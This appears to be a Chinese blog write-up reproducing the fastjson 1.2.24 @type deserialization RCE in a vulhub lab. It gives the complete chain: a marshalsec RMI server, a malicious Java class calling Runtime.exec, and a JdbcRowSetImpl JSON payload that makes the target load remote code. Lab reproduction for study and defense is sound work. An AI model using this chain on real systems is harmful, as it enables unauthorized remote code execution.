概述
原理
fastjson由于没有对@type进行安全性验证,使攻击者传入危险的类,通过rmi服务指定的攻击机上的恶意class文件,导致命令执行。
版本
1.2.24
环境准备
靶机:ubuntu,192.168.52.129
攻击机:kali,192.168.52.128
复现步骤:
1、靶机下载启动漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce 进入vulhub目录
docker-compose up -d 启动漏洞环境
此时能够访问192.168.52.129:8090
2、攻击机利用python快速开启http服务
python -m http.server 80
3、攻击机编译并开启RMI服务
下载marshalsec:
git clone https://github.com/mbechler/marshalsec.git
安装maven:
apt-get install maven
使用maven编译marshalsec成jar包,先进入下载的marshalsec文件中:
mvn clean package -DskipTests
启动一个RMI服务器,设置监听端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.128/#lzy" 9999
注意文件名前的#
4、制作恶意class文件
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "-c", "pdbe23.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译成class
javac lzy.java
此时生成了lzy.class文件
5、bp抓包
把GET修改成POST,添加POC
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.52.128:9999/lzy",
"autoCommit":true
}
}
查看dnslog,复现成功
最后
以上就是娇气小鸭子为你收集整理的fastjson 1.2.24漏洞复现的全部内容,希望文章能够帮你解决fastjson 1.2.24漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复